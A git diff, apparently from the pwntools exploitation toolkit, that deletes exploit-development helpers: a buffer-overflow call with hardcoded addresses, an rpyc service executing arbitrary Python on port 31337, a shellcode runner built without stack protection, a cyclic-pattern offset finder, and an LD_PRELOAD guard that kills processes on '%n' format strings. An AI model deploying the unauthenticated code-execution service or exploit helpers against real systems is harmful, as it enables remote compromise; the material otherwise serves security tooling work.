#t_s_buf_pos_bin = struct.pack('<L', t_s_buf_pos)
return overflow_qs(t_s, v, str1_pos, null1_pos, 0x08048E46, str1_pos, 0x08048DEB, 0x32, False, b'', b'')
-4
View File
@@ -1,4 +0,0 @@
step 1. run `python registry_server.py -m tcp`
step 2. run `python server.py`
step 3. ???
step 4. profit!
-12
View File
@@ -1,12 +0,0 @@
from pwn import *
import rpyc
from rpyc.utils.registry import TCPRegistryClient
import socket
def cloud(code):
hostname = socket.gethostbyname(socket.gethostname())
hostinfo, _ = rpyc.discover('CLOUD', registrar = TCPRegistryClient(hostname))
ip, port = hostinfo
c = rpyc.connect(ip, port)
return c.root.doit(code)
-51
View File
@@ -1,51 +0,0 @@
#!/usr/bin/env python
"""
The registry server listens to broadcasts on UDP port 18812, answering to
discovery queries by clients and registering keepalives from all running
servers. In order for clients to use discovery, a registry service must
be running somewhere on their local network.
"""
from optparse import OptionParser
from rpyc.utils.registry import REGISTRY_PORT, DEFAULT_PRUNING_TIMEOUT
from rpyc.utils.registry import UDPRegistryServer, TCPRegistryServer
from rpyc.lib import setup_logger
import logging
parser = OptionParser()
parser.add_option("-m", "--mode", action="store", dest="mode", metavar="MODE",
default="udp", type="string", help="mode can be 'udp' or 'tcp'")
parser.add_option("-p", "--port", action="store", dest="port", type="int",
metavar="PORT", default=REGISTRY_PORT, help="specify a different UDP/TCP listener port")
parser.add_option("-f", "--file", action="store", dest="logfile", type="str",
metavar="FILE", default=None, help="specify the log file to use; the default is stderr")
parser.add_option("-q", "--quiet", action="store_true", dest="quiet",
default=False, help="quiet mode (only errors are logged)")
parser.add_option("-t", "--timeout", action="store", dest="pruning_timeout",
type="int", default=DEFAULT_PRUNING_TIMEOUT, help="sets a custom pruning timeout")
def main():
logging.basicConfig(level=logging.INFO)
log = logging.getLogger('CloudServer')
options, args = parser.parse_args()
if args:
raise ValueError("does not take positional arguments: %r" % (args,))
if options.port < 1 or options.port > 65535:
raise ValueError("invalid TCP/UDP port %r" % (options.port,))
if options.mode.lower() == "udp":
server = UDPRegistryServer(port = options.port,
pruning_timeout = options.pruning_timeout, logger = log)
elif options.mode.lower() == "tcp":
server = TCPRegistryServer(port = options.port,
pruning_timeout = options.pruning_timeout, logger = log)
else:
raise ValueError("invalid mode %r" % (options.mode,))
setup_logger(options)
server.start()
if __name__ == "__main__":
main()
-34
View File
@@ -1,34 +0,0 @@
#!/usr/bin/env python
import rpyc
from rpyc.utils.registry import TCPRegistryClient
class CloudService(rpyc.Service):
def on_connect(self):
print "Incoming connection"
pass
def on_disconnect(self):
print "Closing connection"
pass
def exposed_doit(self, code):
'''Execute arbitrary python code, given as a string, and returns the namespace in which it was executed.
'''
cloud = {}
try:
exec(code) in cloud
except:
pass
return cloud
if __name__ == "__main__":
from rpyc.utils.server import ThreadedServer
import logging
import socket
logging.basicConfig(level=logging.INFO)
log = logging.getLogger('CloudServer')
hostname = socket.gethostbyname(socket.gethostname())
t = ThreadedServer(CloudService, hostname=hostname, port = 31337, registrar = TCPRegistryClient(hostname), logger = log)
t.start()
-4
View File
@@ -1,4 +0,0 @@
.PHONY: all
all:
premlton src/crop.mlb
mv src/crop bin/crop
BIN
View File
Binary file not shown.
Submodule crop/mylib deleted from 0aa9e1e66f.
-16
View File
@@ -1,16 +0,0 @@
signature Log =
sig
datatype level = Debug
| Verbose
| Chatty
| Normal
| Quiet
val setLevel : level -> unit
val setIndentation : int -> unit
val indent : int -> unit
val debug : string -> unit
val verbose : string -> unit
val chatty : string -> unit
val normal : string -> unit
val warning : string -> unit
end
-49
View File
@@ -1,49 +0,0 @@
structure Log :> Log =
struct
datatype level = Debug
| Verbose
| Chatty
| Normal
| Quiet
val level = ref Normal
val ind = ref 0
fun setLevel l = level := l
fun setIndentation n = ind := n
fun indent n = ind := (!ind + n)
fun print s = if !ind > 0
then println (String.spaces (!ind) ^ s)
else println s
fun debug s =
if !level = Debug
then print s
else ()
fun verbose s =
if !level = Verbose
then print s
else debug s
fun chatty s =
if !level = Chatty
then print s
else verbose s
fun normal s =
if !level <> Quiet
then print s
else ()
fun warning s =
(TextIO.output (TextIO.stdErr,
if !level = Quiet
then s ^ "\n"
else String.spaces (!ind) ^ s ^ "\n"
)
; TextIO.flushOut TextIO.stdErr)
end
-10
View File
@@ -1,10 +0,0 @@
local
$(SML_LIB)/basis/basis.mlb
../mylib/MyLib.mlb
in
Log.sig
Log.sml
%pre main.sml
%pre go.sml
end
-146
View File
@@ -1,146 +0,0 @@
val version = "0.0.1"
fun usage name =
map println
["usage: % rect [rect ...] [options]" <- name
, ""
, "Rect:"
, " <line skip>,<line count>,<char skip>,<char count>"
, "Options:"
, " -w<n>, --window <n>"
, " Repeat for every n lines"
, " -n, --no-linefeed"
, " -o <file>"
]
fun printVersionAndExt () = (println ("crop version " ^ version)
; OS.Process.exit OS.Process.success)
fun printUsageAndExit () = (usage $ CommandLine.name ()
; OS.Process.exit OS.Process.success)
fun die e = (Log.warning e ; OS.Process.exit OS.Process.failure)
local
val window = ref NONE
val rects = ref nil
val nlf = ref false
val src = ref NONE
val dst = ref NONE
fun setWindow x = window := SOME x
fun setNLF x = nlf := true
fun addRect r = rects := r :: !rects
fun setSrc x = case !src of
SOME s => raise Fail ("Only one source file allowed \
\(you already told me '" ^ s ^ "')")
| NONE => src := SOME x
fun setDst x = dst := SOME x
fun getOpt () =
let
val src = case !src of
SOME f => TextIO.openIn f
| NONE => TextIO.stdIn
val dst = case !dst of
SOME f => TextIO.openOut f
| NONE => TextIO.stdOut
in
(!window, !rects, !nlf, src, dst)
end
handle IO.Io {cause = OS.SysErr (desc, _), name, ...} =>
raise Fail (desc ^ ": '" ^ name ^ "'")
in
fun parseArgs args =
let open Parser val op >>= = op -->
open (oneOf) Text
open (comma, dash) Symb
infix 0 |||
infix 1 --- |-- --| ^^^ ::: @@@
infix 2 >>> >>= ??? produce underlies
fun unknownOpt k v =
raise Fail ("Unknown option (%): %" <- k <- v)
val args =
List.concatMap
(fn arg =>
case explode arg of
#"-" :: c :: cs =>
if Char.isAlpha c andalso not $ null cs
then [String.substring (arg, 0, 2)
, String.extract (arg, 2, NONE)]
else [arg]
| _ => [arg])
args
val window =
do tok <- any
; return
(case Int.fromString tok of
SOME n => setWindow n
| NONE => unknownOpt "--window" tok
)
end
val num = many1 $ oneOf "0123456789-" >>> implode
val coord = num >>> (0 \> Option.getOpt o Int.fromString)
||| dash produce 0
val rect =
do y <- coord
; comma
; b <- coord
; comma
; x <- coord
; comma
; a <- coord
; return ((y, b), (x, a))
end
fun help ? = (return $ printUsageAndExit ()) ?
val one =
do tok <- any
; case tok of
"--window" => window
| "-w" => window
| "-no-linefeed" => return $ setNLF ()
| "-n" => return $ setNLF ()
| "-o" => any >>> setDst
| "--help" => help
| "-h" => help
| "-?" => help
| "--version" => return $ printVersionAndExt ()
| _ => return
(case Parse.string rect tok of
Right r => addRect r
| Left _ => setSrc tok
)
end
val parse =
do many' one
; eof
end
in
case Parse.list parse args of
Right _ => getOpt ()
| Left ({token = SOME x, ...} :: _) =>
raise Fail ("Could not parse command line arguments\
\ (failed on '" ^ x ^ "')")
| Left _ =>
raise Fail ("Could not parse command line arguments")
end
end
fun verify (args as (window, rects, _, _, _)) =
((if null rects
then raise Fail "No rects given"
else ())
; Option.map (fn n => if n <= 0
then raise Fail "Window must be strictly positive"
else ()) window
; args
)
fun go () =
main $ verify $ parseArgs $ CommandLine.arguments ()
handle Fail s => die s
val _ = go ()
-61
View File
@@ -1,61 +0,0 @@
fun main (window, rects, nlf, src, dst) =
let
(* val lines = String.fields (#"\n" \< op=) $ TextIO.inputAll src *)
val lines =
let
fun loop () =
case TextIO.inputLine src of
SOME line =>
String.substring (line, 0, size line - 1) :: loop ()
| NONE => nil
in
loop ()
end
val numLines = length lines
val window = getOpt (window, numLines)
fun correct e (x, a) =
(* x absolute, a relative *)
if x >= 0 andalso a > 0
then (x, x + a)
(* x relative, a absolute *)
else if x < 0 andalso a <= 0
then (e + a + x, e + a)
(* both absolute *)
else if x >= 0 andalso a <= 0
then (x, e + a)
(* both relative -- an error *)
else raise Fail ("Both indexes relative: " ^
Show.pair Show.int Show.int (x, a))
val rects =
map (Pair.mapFst $ correct window) rects
fun line (n, l) =
let
val len = size l
val (min, max) =
foldl (fn ((b, e), (min, max)) =>
(Int.min (b, min), Int.max (e, max))
) (len, ~1) $
map (fn (_, x) => correct len x) $
List.filter (fn ((y, b), _) =>
let
val offset = n mod window
in
offset >= y andalso offset < b
end
) rects
val max = Int.min (max, len)
in
TextIO.output (dst, String.substring (l, min, max - min))
; if not nlf
then TextIO.output (dst, "\n")
else ()
end
handle Subscript => ()
in
app line $ ListPair.zip (List.tabulate (numLines, id), lines)
end
-48
View File
@@ -1,48 +0,0 @@
#!/usr/bin/env python
import pwn, sys, argparse, string
from pwn import de_bruijn, de_bruijn_find
if __name__ == "__main__":
p = argparse.ArgumentParser(description="Cyclic pattern creator/finder")
p.add_argument('-a', '--alphabet',
metavar = '<alphabet>',
default = string.ascii_lowercase,
help = 'The alphabet to use in the cyclic pattern',
)
p.add_argument('-l', '--large-alphabet',
action = 'store_true',
help = 'Use a large alphabet (digits, letters, punctuation)',
)
p.add_argument('-o', '--offset',
action = 'store_true',
help = 'Find offset of substring in cyclic pattern (given as hex (0x...), integer or string)',
)
p.add_argument('patsize',
metavar = '<pattern|size>',
help = 'Depending on the -o flag, 1) the desired size of the created pattern, or 2) the subpattern to find the offset of',
)
args = p.parse_args()
if args.large_alphabet:
alph = string.digits + string.ascii_letters + string.punctuation
else:
alph = args.alphabet
if args.offset:
pat = args.patsize
if pat.startswith('0x'):
pat = pwn.p32(int(pat[2:], 16) & 0xffffffff)
elif pat.isdigit():
pat = pwn.p32(int(pat, 10) & 0xffffffff)
else:
pat = pat[:4]
if len(pat) < 4:
pwn.die('Subpattern must be 4 bytes')
offset = de_bruijn_find(pat, alph)
if offset == -1:
pwn.log.fail('Given pattern does not exist in cyclic pattern')
else:
print offset
else:
print de_bruijn(int(args.patsize))
-3
View File
@@ -1,3 +0,0 @@
*.o
*.so
test
-34
View File
@@ -1,34 +0,0 @@
TARGETS=liboverride-32.so liboverride-64.so
CSRCS=$(shell find . -maxdepth 1 -name "*.c")
LIBS32=$(patsubst %.c,%.32.o,$(CSRCS)) ld-override.32.o
LIBS64=$(patsubst %.c,%.64.o,$(CSRCS)) ld-override.64.o
CFLAGS=-shared -Wall -Werror -fno-builtin -fPIC
DEPFILE=.depend
CC=gcc
LDFLAGS=-ldl
CTAGS=ctags -lc++
all: $(TARGETS)
clean:
rm -f $(TARGETS) $(LIBS32) $(LIBS64)
liboverride-32.so: $(LIBS32)
$(CC) $(CFLAGS) -shared -o $@ $^ $(LDFLAGS) -m32
liboverride-64.so: $(LIBS64)
$(CC) $(CFLAGS) -shared -o $@ $^ $(LDFLAGS)
%.32.o: %.32.asm
nasm -felf32 -o $@ $<
%.64.o: %.64.asm
nasm -felf64 -o $@ $<
%.32.o: %.c
$(CC) -c $(CFLAGS) -o $@ $< -m32
%.64.o: %.c
$(CC) -c $(CFLAGS) -o $@ $<
.PHONY: all clean
-26
View File
@@ -1,26 +0,0 @@
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include "ld-override.h"
void lookup_function(struct _override *function) {
char *msg;
if(function->function_addr != NULL) return;
function->function_addr = dlsym(RTLD_NEXT, function->function_name);
if ((msg = dlerror()) != NULL) {
fprintf(stderr, "dlsym failed for symbol %s: %s\n", function->function_name, msg);
fflush(stderr);
exit(1);
}
}
/*
void wrapper() {}
void skip_real(uintptr_t n) {}
*/
void consistency_check(struct _save_state *state) {}
-109
View File
@@ -1,109 +0,0 @@
[bits 32]
section .text
global wrapper
global skip_real
extern consistency_check
extern lookup_function
extern thread_stack
extern rand
struc STATE
.EBX: resd 1
.EBP: resd 1
.EDI: resd 1
.ESI: resd 1
.ESP: resd 1
.FUNCTION: resd 1
.EIP: resd 1
endstruc
struc FUNCTION
.REAL: resd 1
.WRAPPER: resd 1
.NAME: resd 1
endstruc
wrapper:
; Fill in the missing pieces to make a valid _save_state
push esp
add dword [esp], 4
push esi
push edi
push ebp
push ebx
; Call consistency_check with a pointer to the _save_state
push esp
call consistency_check
add esp, 4
; Make sure the function pointer is valid
push dword [esp+STATE.FUNCTION]
call lookup_function
add esp, 4
; Save state on thread_stack
; Results in everything but the arguments themselves being popped
call thread_stack
add dword [eax], STATE_size
mov eax, [eax]
xor ecx, ecx
.loop:
pop edx
mov [eax-STATE_size+ecx], edx
add ecx, 4
cmp ecx, STATE_size
jl .loop
; Call the wrapper function
mov edx, [eax-STATE_size+STATE.FUNCTION]
mov edx, [edx+FUNCTION.WRAPPER]
call edx
; Call the real function
call thread_stack
mov eax, [eax]
mov edx, [eax-STATE_size+STATE.FUNCTION]
mov edx, [edx+FUNCTION.REAL]
call edx
; Make the return value be an argument to skip_real
push eax
push eax
skip_real:
; Find the thread_stack
call thread_stack
mov ecx, [eax]
; Get the value to return when done from the stack
pop edx
pop edx
; Restore callee-saved values
mov ebx, [ecx-STATE_size+STATE.EBX]
mov ebp, [ecx-STATE_size+STATE.EBP]
mov edi, [ecx-STATE_size+STATE.EDI]
mov esi, [ecx-STATE_size+STATE.ESI]
mov esp, [ecx-STATE_size+STATE.ESP]
mov ecx, [ecx-STATE_size+STATE.EIP]
mov [esp], ecx
; Clean up the thread_stack
sub dword [eax], STATE_size
; Push the return value to the local stack
push edx
; Put garbage on ecx and edx
call rand
mov ecx, eax
call rand
mov edx, eax
; Return
pop eax
ret
-168
View File
@@ -1,168 +0,0 @@
[bits 64]
section .text
global wrapper
global skip_real
extern consistency_check
extern lookup_function
extern thread_stack
extern rand
struc STATE
.RAX: resq 1
.RBX: resq 1
.RCX: resq 1
.RDX: resq 1
.RBP: resq 1
.RDI: resq 1
.RSI: resq 1
.R8: resq 1
.R9: resq 1
.R10: resq 1
.R12: resq 1
.R13: resq 1
.R14: resq 1
.R15: resq 1
.RSP: resq 1
.FUNCTION: resq 1
.RIP: resq 1
endstruc
struc FUNCTION
.REAL: resq 1
.WRAPPER: resq 1
.NAME: resq 1
endstruc
wrapper:
; Fill in the missing pieces to make a valid _save_state
push rsp
add qword [rsp], 8
push r15
push r14
push r13
push r12
push r10
push r9
push r8
push rsi
push rdi
push rbp
push rdx
push rcx
push rbx
push rax
; Call consistency_check with a pointer to the _save_state
mov rdi, rsp
mov qword r11, consistency_check
call r11
; Make sure the function pointer is valid
mov rdi, [rsp+STATE.FUNCTION]
mov qword r11, lookup_function
call r11
; Save state on thread_stack
; Results in everything but the arguments themselves being popped
mov qword r11, thread_stack
call r11
add qword [rax], STATE_size
mov r11, [rax]
xor rcx, rcx
.loop:
pop rdx
mov [r11-STATE_size+rcx], rdx
add rcx, 8
cmp rcx, STATE_size
jl .loop
; Call the wrapper function
mov rax, [r11-STATE_size+STATE.RAX]
mov rcx, [r11-STATE_size+STATE.RCX]
mov rdx, [r11-STATE_size+STATE.RDX]
mov rdi, [r11-STATE_size+STATE.RDI]
mov rsi, [r11-STATE_size+STATE.RSI]
mov r8, [r11-STATE_size+STATE.R8]
mov r9, [r11-STATE_size+STATE.R9]
mov r10, [r11-STATE_size+STATE.R10]
mov r11, [r11-STATE_size+STATE.FUNCTION]
mov r11, [r11+FUNCTION.WRAPPER]
call r11
; Call the real function
mov qword r11, thread_stack
call r11
mov r11, [rax]
mov rax, [r11-STATE_size+STATE.RAX]
mov rcx, [r11-STATE_size+STATE.RCX]
mov rdx, [r11-STATE_size+STATE.RDX]
mov rdi, [r11-STATE_size+STATE.RDI]
mov rsi, [r11-STATE_size+STATE.RSI]
mov r8, [r11-STATE_size+STATE.R8]
mov r9, [r11-STATE_size+STATE.R9]
mov r10, [r11-STATE_size+STATE.R10]
mov r11, [r11-STATE_size+STATE.FUNCTION]
mov r11, [r11+FUNCTION.REAL]
call r11
; Make the return value be an argument to skip_real
mov rdi, rax
skip_real:
push rdi
; Find the thread_stack
mov qword r11, thread_stack
call r11
mov r11, [rax]
; Get the value to return when done from the stack
pop rdx
; Restore callee-saved values
mov rbx, [r11-STATE_size+STATE.RBX]
mov rbp, [r11-STATE_size+STATE.RBP]
mov r12, [r11-STATE_size+STATE.R12]
mov r13, [r11-STATE_size+STATE.R13]
mov r14, [r11-STATE_size+STATE.R14]
mov r15, [r11-STATE_size+STATE.R15]
mov rsp, [r11-STATE_size+STATE.RSP]
mov r11, [r11-STATE_size+STATE.RIP]
mov [rsp], r11
; Clean up the thread_stack
sub qword [rax], STATE_size
; Push the return value to the local stack
push rdx
; Get a lot of garbage and put it on the stack
xor rcx, rcx
mov ecx, (2*8)
.loop2:
push rcx
mov qword rax, rand
call rax
pop rcx
shl rax, 32
push rax
add rsp, 4
loop .loop2
pop rcx
pop rdx
pop rsi
pop rdi
pop r8
pop r9
pop r10
pop r11
; Return
pop rax
ret
-61
View File
@@ -1,61 +0,0 @@
#ifndef __LD_OVERRIDE
#define __LD_OVERRIDE
#include <stdint.h>
#include <stdlib.h>
struct _override {
void* function_addr;
void* wrapper_addr;
char *function_name;
};
#define constructor __attribute__((constructor))
#ifdef __i386__
#define WRAP(FUNCTION) \
struct _override _##FUNCTION##_override = { NULL, (void*) FUNCTION##_wrapper, #FUNCTION }; \
extern void FUNCTION (); \
__asm(".text\r\n" \
".globl " #FUNCTION "\r\n" \
".type " #FUNCTION ", @function\r\n" \
#FUNCTION ":\r\n" \
"push $_" #FUNCTION "_override\r\n" \
"jmp wrapper" \
)
#else
#define WRAP(FUNCTION) \
struct _override _##FUNCTION##_override = { NULL, (void*) FUNCTION##_wrapper, #FUNCTION }; \
extern void FUNCTION (); \
__asm(".text\r\n" \
".globl " #FUNCTION "\r\n" \
".type " #FUNCTION ", @function\r\n" \
#FUNCTION ":\r\n" \
"movabs $_" #FUNCTION "_override, %r11\r\n" \
"push %r11\r\n" \
"movabs $wrapper, %r11\r\n" \
"jmp *%r11\r\n" \
)
#endif
struct _save_state {
#ifdef __i386__
uintptr_t ebx, ebp, edi, esi, esp;
struct _override *function_override;
uintptr_t eip;
#else
uintptr_t rax, rbx, rcx, rdx, rbp, rdi, rsi, r8, r9, r10, r12, r13, r14, r15, rsp;
struct _override *function_override;
uintptr_t rip;
#endif
};
void wrapper();
void skip_real(uintptr_t retval);
void lookup_function(struct _override *function);
void consistency_check(struct _save_state *state);
#endif
-263
View File
@@ -1,263 +0,0 @@
#include "ld-override.h"
#include <stdlib.h>
void puts(char *);
char *parse_format(char *);
wchar_t *parse_format_wide(wchar_t *);
void check_format_string(char *s) {
char *i = s;
while (*i != '\0') {
if (*i != '%') {
i++;
continue;
}
else {
i++;
// puts("printf: parsing format string");
i = parse_format(i);
}
}
}
char *parse_format(char *i) {
// Flags
while(*i == '#' ||
*i == '0' ||
*i == '-' ||
*i == ' ' ||
*i == '+' ||
*i == 'I' ||
*i == '\'') {
// puts("printf: parsing flags");
i++;
}
// Field width
while(*i == '0' ||
*i == '1' ||
*i == '2' ||
*i == '3' ||
*i == '4' ||
*i == '5' ||
*i == '6' ||
*i == '7' ||
*i == '8' ||
*i == '9') {
// puts("printf: parsing field width");
i++;
}
// Precision modifier
while(*i == '.' ||
*i == '*' ||
*i == '$' ||
*i == '0' ||
*i == '1' ||
*i == '2' ||
*i == '3' ||
*i == '4' ||
*i == '5' ||
*i == '6' ||
*i == '7' ||
*i == '8' ||
*i == '9') {
// puts("printf: parsing precision modifier");
i++;
}
// Length modifier
while(*i == 'h' ||
*i == 'l' ||
*i == 'L' ||
*i == 'q' ||
*i == 'j' ||
*i == 'z' ||
*i == 't') {
// puts("printf: parsing length modifier");
i++;
}
if(*i == 'n') {
puts("NU DØR BABY!");
exit(1337);
}
i++;
return i;
}
void check_format_string_wide(wchar_t *s) {
wchar_t *i = s;
while (*i != '\0') {
if (*i != '%') {
i++;
continue;
}
else {
i++;
// puts("printf: parsing format string");
i = parse_format_wide(i);
}
}
}
wchar_t *parse_format_wide(wchar_t *i) {
// Flags
while(*i == '#' ||
*i == '0' ||
*i == '-' ||
*i == ' ' ||
*i == '+' ||
*i == 'I' ||
*i == '\'') {
// puts("printf: parsing flags");
i++;
}
// Field width
while(*i == '0' ||
*i == '1' ||
*i == '2' ||
*i == '3' ||
*i == '4' ||
*i == '5' ||
*i == '6' ||
*i == '7' ||
*i == '8' ||
*i == '9') {
// puts("printf: parsing field width");
i++;
}
// Precision modifier
while(*i == '.' ||
*i == '*' ||
*i == '$' ||
*i == '0' ||
*i == '1' ||
*i == '2' ||
*i == '3' ||
*i == '4' ||
*i == '5' ||
*i == '6' ||
*i == '7' ||
*i == '8' ||
*i == '9') {
// puts("printf: parsing precision modifier");
i++;
}
// Length modifier
while(*i == 'h' ||
*i == 'l' ||
*i == 'L' ||
*i == 'q' ||
*i == 'j' ||
*i == 'z' ||
*i == 't') {
// puts("printf: parsing length modifier");
i++;
}
if(*i == 'n') {
puts("NU DØR BABY!");
exit(1337);
}
i++;
return i;
}
void printf_wrapper(char *s) {
check_format_string(s);
}
void dprintf_wrapper(int ignore, char *s) {
check_format_string(s);
}
void asprintf_wrapper(int ignore, char *s) {
check_format_string(s);
}
void vasprintf_wrapper(int ignore, char *s) {
check_format_string(s);
}
void vdprintf_wrapper(int ignore, char *s) {
check_format_string(s);
}
void fprintf_wrapper(int ignore, char *s) {
check_format_string(s);
}
void sprintf_wrapper(int ignore, char *s) {
check_format_string(s);
}
void snprintf_wrapper(int ignore, int ignore2, char *s) {
check_format_string(s);
}
void vprintf_wrapper(char *s) {
check_format_string(s);
}
void vfprintf_wrapper(int ignore, char *s) {
check_format_string(s);
}
void vsprintf_wrapper(int ignore, char *s) {
check_format_string(s);
}
void vsnprintf_wrapper(int ignore, int ignore2, char *s) {
check_format_string(s);
}
// Wide chars
void wprintf_wrapper(wchar_t *s) {
check_format_string_wide(s);
}
void fwprintf_wrapper(int ignore, wchar_t *s) {
check_format_string_wide(s);
}
void swprintf_wrapper(int ignore, int ignore2, wchar_t *s) {
check_format_string_wide(s);
}
void vwprintf_wrapper(wchar_t *s) {
check_format_string_wide(s);
}
void vfwprintf_wrapper(int ignore, wchar_t *s) {
check_format_string_wide(s);
}
void vswprintf_wrapper(int ignore, int ignore2, wchar_t *s) {
check_format_string_wide(s);
}
WRAP(printf);
WRAP(asprintf);
WRAP(vasprintf);
WRAP(dprintf);
WRAP(vdprintf);
WRAP(fprintf);
WRAP(sprintf);
WRAP(snprintf);
WRAP(vprintf);
WRAP(vfprintf);
WRAP(vsprintf);
WRAP(vsnprintf);
// Wide
WRAP(wprintf);
WRAP(fwprintf);
WRAP(swprintf);
WRAP(vwprintf);
WRAP(vfwprintf);
WRAP(vswprintf);
-23
View File
@@ -1,23 +0,0 @@
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include "ld-override.h"
void srand_wrapper(int seed);
WRAP(srand);
void constructor fix_srand () {
int fd = open("/dev/urandom",O_RDONLY);
int seed;
read(fd, &seed, sizeof(seed));
lookup_function(&_srand_override);
((void (*)()) _srand_override.function_addr) (seed);
}
void srand_wrapper(int seed) {
skip_real(0);
}
-15
View File
@@ -1,15 +0,0 @@
#include <sys/mman.h>
#include <stdlib.h>
#include "thread-stack.h"
static __thread void* local_thread_stack = NULL;
void** thread_stack() {
if(local_thread_stack == NULL) {
local_thread_stack = mmap(NULL, 8192, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
}
return &local_thread_stack;
}
-6
View File
@@ -1,6 +0,0 @@
#ifndef __THREAD_STACK
#define __THREAD_STACK
void** thread_stack();
#endif
-1
View File
@@ -1 +0,0 @@
192.168.25.1
-1
View File
@@ -1 +0,0 @@
/home/kris/git/pwntools/defence/monitor/test/echoserv
Binary file not shown.
-8
View File
@@ -1,8 +0,0 @@
Monitor services (autorestart when down)
Script to move services (for obfuscation)
Monitor enemy hosts
Monitor (suspicious) network activity
Monitor (suspicious) file activity
Statistics (uptime, traffic etc)
Monitor shells running on the system
-4
View File
@@ -1,4 +0,0 @@
.PHONY: all
all:
gcc -z execstack -fno-stack-protector demo.c -o demo64 -m64
gcc -z execstack -fno-stack-protector demo.c -o demo32 -m32
-73
View File
@@ -1,73 +0,0 @@
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char *stack_space[0x1000];
int fd;
struct stat sbuf;
void (*shellcode)(void);
int i, z, c, bufsize, numb;
unsigned char *p;
if (argc != 2) {
fprintf(stderr, "Usage: %s (<filename>|-)\n", argv[0]);
return EXIT_FAILURE;
}
if (strcmp(argv[1], "-") == 0) {
bufsize = 4096;
p = malloc(bufsize);
z = 0;
numb = 0;
while ((c = getchar()) != EOF) {
if (numb == bufsize) {
bufsize += 4096;
p = realloc(p, bufsize);
}
p[numb++] = c;
if (c == '\0') z++;
}
if ((shellcode = mmap(NULL, numb, PROT_READ | PROT_EXEC | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE, -1, 0)) == MAP_FAILED) {
perror("mmap() failed");
return EXIT_FAILURE;
}
memcpy(shellcode, p, numb);
free(p);
} else {
if ((fd = open(argv[1], O_RDONLY)) < 0) {
perror("open() failed");
return EXIT_FAILURE;
}
if (fstat(fd, &sbuf)) {
perror("fstat() failed");
return EXIT_FAILURE;
}
if ((shellcode = mmap(NULL, sbuf.st_size, PROT_READ | PROT_EXEC | PROT_WRITE,
MAP_PRIVATE, fd, 0)) == MAP_FAILED) {
perror("mmap() failed");
return EXIT_FAILURE;
}
close(fd);
for (i = 0, z = 0, p = (void *)shellcode; i < sbuf.st_size; i++) {
if (p[i] == '\0') z++;
}
numb = sbuf.st_size;
}
printf("Read %d bytes of shell code. Here goes.\n", numb);
if (z > 0) printf("Shellcode contains %d zero bytes.\n", z);
printf("~~~ Running shellcode ~~~\n");
shellcode();
/* should not be reached */
return EXIT_FAILURE;
}
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
-94
View File
@@ -1,94 +0,0 @@
#!/usr/bin/env python
import sys, os, warnings
from argparse import ArgumentParser, ArgumentDefaultsHelpFormatter
DEFAULT_ALPHABET = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
DEFAULT_ALPHABET_SHORT = 'a-zA-Z0-9'
DEFAULT_SYMBOLS = '-/?!'
if __name__ == "__main__":
try:
p = ArgumentParser(description='Generate dictionary',
formatter_class=ArgumentDefaultsHelpFormatter)
p.add_argument('-o', '--output',
default='STD_OUT',
metavar='<file>',
help='Output')
p.add_argument('input',
default='STD_IN',
nargs='*',
metavar='<file>',
help='Input(s)')
p.add_argument('-a', '--alphabet',
default=DEFAULT_ALPHABET_SHORT,
metavar='<string>',
help='Alphabet')
p.add_argument('-s', '--symbols',
default=DEFAULT_SYMBOLS,
metavar='<string>',
help='Symbols. Will be treated as alphabet *and* non-alphabet characters, i.e. "twenty-three" results in the dictionary "twenty, three, twenty-three"')
args = p.parse_args()
if args.alphabet == DEFAULT_ALPHABET_SHORT:
alph = DEFAULT_ALPHABET
else:
alph = args.alphabet
symb = args.symbols
out = args.output
if args.input == 'STD_IN':
args.input = ['/dev/stdin']
d = set()
w = []
start = True
def add ():
global d, w
for word in w:
d.add(''.join(word))
for f in args.input:
try:
src = open(f)
except IOError as (_, e):
print 'Could not open "%s": %s' % (out, e)
dst.close()
exit(0)
while True:
c = src.read(1)
if c == '':
src.close()
break
if c in alph:
for word in w:
word.append(c)
if start:
w.append([c])
start = False
else:
add()
if c in symb:
for word in w:
word.append(c)
else:
w = []
start = True
add()
w = []
if out == 'STD_OUT':
dst = sys.stdout
else:
try:
dst = open(out, 'w')
except IOError as (_, e):
print 'Could not open "%s": %s' % (out, e)
with warnings.catch_warnings():
warnings.simplefilter("ignore")
try:
fn = os.tmpnam()
dst = open(fn, 'w')
print '(Writing output to "%s" instead.)' % fn
except:
exit(0)
for word in d:
dst.write(word)
dst.write('\n')
except KeyboardInterrupt:
print ''
+2
View File
@@ -0,0 +1,2 @@
build
robots.txt
+153
View File
@@ -0,0 +1,153 @@
# Makefile for Sphinx documentation
#
# You can set these variables from the command line.
SPHINXOPTS =
SPHINXBUILD = sphinx-build
PAPER =
BUILDDIR = build
# Internal variables.
PAPEROPT_a4 = -D latex_paper_size=a4
PAPEROPT_letter = -D latex_paper_size=letter
ALLSPHINXOPTS = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source
# the i18n builder cannot share the environment and doctrees with the others
I18NSPHINXOPTS = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source
.PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest gettext
help:
@echo "Please use \`make <target>' where <target> is one of"
@echo " html to make standalone HTML files"
@echo " dirhtml to make HTML files named index.html in directories"
@echo " singlehtml to make a single large HTML file"
@echo " pickle to make pickle files"
@echo " json to make JSON files"
@echo " htmlhelp to make HTML files and a HTML help project"
@echo " qthelp to make HTML files and a qthelp project"
@echo " devhelp to make HTML files and a Devhelp project"
@echo " epub to make an epub"
@echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter"
@echo " latexpdf to make LaTeX files and run them through pdflatex"
@echo " text to make text files"
@echo " man to make manual pages"
@echo " texinfo to make Texinfo files"
@echo " info to make Texinfo files and run them through makeinfo"
@echo " gettext to make PO message catalogs"
@echo " changes to make an overview of all changed/added/deprecated items"
@echo " linkcheck to check all external links for integrity"
